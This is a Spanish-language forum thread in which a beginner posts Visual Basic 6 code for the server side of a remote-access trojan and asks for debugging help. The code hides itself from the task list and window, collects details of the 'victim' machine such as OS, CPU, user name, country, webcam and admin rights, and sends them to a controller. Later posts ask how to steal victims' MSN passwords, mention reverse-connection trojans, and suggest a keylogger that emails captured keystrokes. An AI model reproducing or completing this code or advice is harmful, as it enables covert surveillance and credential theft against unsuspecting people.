Autor
|
Tema: Ayuda Con Cliente y Servidor en visual basic (Leído 8,668 veces)
|
maxinitto
Desconectado
Mensajes: 14
|
Muy buenas a todo, resulta que estoy creando un cliente y un servidor en visual basic resulta que el cliente esta bien pero el code del servidor me tira este error y no se xk causa o pongo aqui abajo el code del servidor aver si me podeis ayudar.... Dim victima As String, name1 As String, so As String, ip As String, port As String Dim webcam As String, pais As String, tor As String, nombrepc As String, procesador As String Dim admin As Boolean Private Sub form_load() On Error Resume Next Open Environ("windir") & "\KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows Input #1, victima 'leemos el contenido de este If victima = "" Then 'si esta vacio victima = "Default" 'le ponemos default a la victima End If 'sino victima contendrá lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima. Close #1 Dim yo As Object Set yo = CreateObject("wscript.shell") pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) nombrepc = Environ("ComputerName") 'esta variable contendrá el nombre del pc name1 = Environ("UserName") 'el nombre de usuario so = yo.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname") 'el sistema operativo ip = "127.0.0.1" 'la ip, pueden hacer un edit server port = 2300 'lo mismo, con el edit server lo editan…. procesador = yo.regread("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString") 'júntenlo, es k no cabía, es para el procesador.... App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones If App.PrevInstance = True Then: End 'si ya esta en ejecución salimos, para no tener 2 corriendo a la vez Me.Visible = False 'para que no se vea el form…. 'Esto es para la webcam Dim temp As Long hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _0, 0, 320, 240, Picture1.hWnd, 0) If (hwdc <> 0) Then webcam = "Si" 'entonces si tenemos webcam temp = DestroyWindow(hwdc) temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&) DoEvents Else webcam = "No" 'pues no End If pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el país admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&)) 'para saber si somos admins o no If admin = True Then tor = "Si" Else tor = "No" End If End Sub 'la función para obtener el idioma y pais Public Function ObtenerIdioma(ByVal lInfo As Long) As String Dim buffer As String, ret As String buffer = String$(256, 0) ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer)) 'Si Ret devuelve 0 es porque falló la llamada al Api If ret > 0 Then ObtenerIdioma = Left$(buffer, ret - 1) Else ObtenerIdioma = "" End If End Function 'función para obtener la memoria ram Public Function GetRamSize() As String Dim RamStats As MEMORYSTATUS GlobalMemoryStatus RamStats GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1 End Function Private Sub Timer1_Timer() If WS.State <> 7 Then 'si no estamos conectados WS.Close 'cerramos End If End Sub Private Sub WS_Connect() 'al haber conexión,enviamos todos los datos WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam End Sub Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos On Error Resume Next Dim datos As String Dim data() As String WS.GetData datos 'los recibimos data = Split(datos, "|") Select Case data(0) Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre Open Environ("windir") & "\KB007.txt" For Output As #1 Print #1, , data(1) 'ponemos en el texto el nombre que se cambió Close #1 End Select End Sub el error me lo tira aqui.... hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _0, 0, 320, 240, Picture1.hWnd, 0) llevo pokisimo en vb y no consigo sacar este error, tb me estoy leyendo un libro de 140 pags para ponerme al dia xDD aver si me pueden ayudar gracias de antemano
|
|
|
En línea
|
|
|
|
seba123neo
|
imposible responder...ante la imposibilidad de poder leer correctamente el codigo
|
|
|
En línea
|
|
|
|
maxinitto
Desconectado
Mensajes: 14
|
aaaaaaa es igual ya lo resolvi , gracias de todos modos pero tengo otra duda
quiero que en mi programa cliente/servidor me descifre las password del msn de la persona que tenga en mi cliente/servidor, (ablo asi xk no se si sepuede decir esa palabra o no pero weno) pero el problema es que tengo un commandbutton con el caption "obtener pass de msn" entonces yo quiero que cnd le de click me ponga el msn y la pass en un text box pero no se hacerlo tengo poca experiencia pero es el primer cliente/servidor que creo aver si me pueden orientar un poco,
salu2 a todos y gracias
tengo ya los modulos y herramientas necesarios pero no se situar el codigo de su debida forma para que funcione, lo tengo puesto pero solo me da mis pass no la de las victimas
|
|
« Última modificación: 20 Diciembre 2008, 18:54 pm por maxinitto »
|
En línea
|
|
|
|
yofoxD
Desconectado
Mensajes: 169
|
aprende a caminar antes de correr...
|
|
|
En línea
|
|
|
|
maxinitto
Desconectado
Mensajes: 14
|
no se que pasa en este foro que cada vez que posteo una duda, siempre contestan con mensajes inutiles buagg ya me buscare la vida en otro lao gracias por vuestra no ayuda
|
|
|
En línea
|
|
|
|
yofoxD
Desconectado
Mensajes: 169
|
lloron
|
|
|
En línea
|
|
|
|
maxinitto
Desconectado
Mensajes: 14
|
anda que perder el tiempo y llenar el foro de mensajes inutiles como los de "lloron" se nota que estas aburrio xDDDDD
|
|
|
En línea
|
|
|
|
byway
Desconectado
Mensajes: 181
^^,
|
aaaaaaa es igual ya lo resolvi , gracias de todos modos pero tengo otra duda
quiero que en mi programa cliente/servidor me descifre las password del msn de la persona que tenga en mi cliente/servidor, (ablo asi xk no se si sepuede decir esa palabra o no pero weno) pero el problema es que tengo un commandbutton con el caption "obtener pass de msn" entonces yo quiero que cnd le de click me ponga el msn y la pass en un text box pero no se hacerlo tengo poca experiencia pero es el primer cliente/servidor que creo aver si me pueden orientar un poco,
salu2 a todos y gracias
tengo ya los modulos y herramientas necesarios pero no se situar el codigo de su debida forma para que funcione, lo tengo puesto pero solo me da mis pass no la de las victimas
a lejos se ve que no hisiste nada ... mencionas tener un boton con un caption..bla bla bla... y no sabes nada de nada jajajaja los modulos para coger pass van en el servidor (si el troyano es de conexion inversa) .. si no sabes eso no entiendo como hisiste pa juntar todo ese code sin saber lo basico...
|
|
|
En línea
|
|
|
|
maxinitto
Desconectado
Mensajes: 14
|
que quieres ver una foto? y le la comes ? jajajajaj si llevo ya bastante exo pero esto de las pass no me sale tio
|
|
|
En línea
|
|
|
|
visualfree
Desconectado
Mensajes: 201
|
Te recomiendo que a tu servidor le incorpores codigo q capture teclas y que cada cierto tiempo te lo envie a tu correo .... , me refiero a eso que rpegutas de sacar la clave del msn , suerte..
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Ayuda con Cliente-Servidor
Programación Visual Basic
|
CGST
|
1
|
1,914
|
17 Febrero 2011, 05:07 am
por BlackZeroX
|
|
|
AYUDA CON SOCKETS (CLIENTE/SERVIDOR)
Programación C/C++
|
ApOkAlizE
|
4
|
4,638
|
29 Febrero 2012, 22:56 pm
por avmiitxe
|
|
|
Cliente / Servidor con sockets en Visual c++
Programación General
|
rabbar
|
0
|
2,019
|
27 Noviembre 2013, 18:15 pm
por rabbar
|
|
|
Cliente / Servidor con sockets en Visual c++
Programación C/C++
|
rabbar
|
2
|
4,267
|
29 Noviembre 2013, 03:55 am
por Vaagish
|
|
|
Cargar archivos a un servidor web en Visual Basic...
.NET (C#, VB.NET, ASP)
|
Felipe92
|
0
|
2,432
|
28 Octubre 2015, 01:02 am
por Felipe92
|
|